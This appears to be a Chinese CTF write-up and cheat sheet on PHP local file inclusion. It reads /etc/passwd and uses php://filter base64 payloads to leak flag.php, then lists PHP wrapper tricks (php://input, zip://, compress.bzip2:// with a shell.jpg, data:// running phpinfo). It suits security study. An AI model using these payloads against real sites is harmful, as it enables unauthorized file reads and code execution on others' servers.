Challenge_14

image.png
直接把 path 拼接到 include 里面去了可以直接读取文件
先读取一下passwd
image.png
但是读取不了 flag文件
image.png

使用php://filter协议

php://filter/convert.base64-encode/resource=flag.php
php://filter/read=convert.base64-encode/resource=flag.php

image.png
就会输出 flag.php 的base64的编码

文件包含相关函数
include
require
include_once
require_once
highlight_file
show_source
readfile
file_get_contents
fopen
file

PHP伪协议
要满足PHP伪协议,基于函数include和include_once()的利用情况。
另外就是PHP.ini环境问题:

allow_url_fopen: On 默认开启,选项为On时,激活了URL形式的fopen封装协议,就可以访问URL对象文件
allow_url_include: Off  默认关闭,选项为On时,允许包含URL对象文件。

常用伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

利用条件
1、协议:file://
• 利用条件:allow_url_fopen和allow_url_include双Off情况下可正常使用
• 说明:访问本地文件系统
• 用法:file://文件绝对路径和文件名
2、协议:php://
• 利用条件:不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
说明:访问IO流
• 用法:php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
3、协议:zip://,bzip2://,zlib://
• 利用条件:双Off条件下可使用
• 说明:zip://test.zip#x.txt zip://绝对路径#子文件名
• x.txt内容就会以php代码执行
• compress.bzip2://test.bz2和compress.zlib://test.gz用法相同
• /include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
• 用法:可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
4、协议:data://
• 利用条件:双On
• 说明:
/include.php?file=data://text/plain,<?php phpinfo();?>
或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
或者 data:text/plain,<?php phpinfo();?>
或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值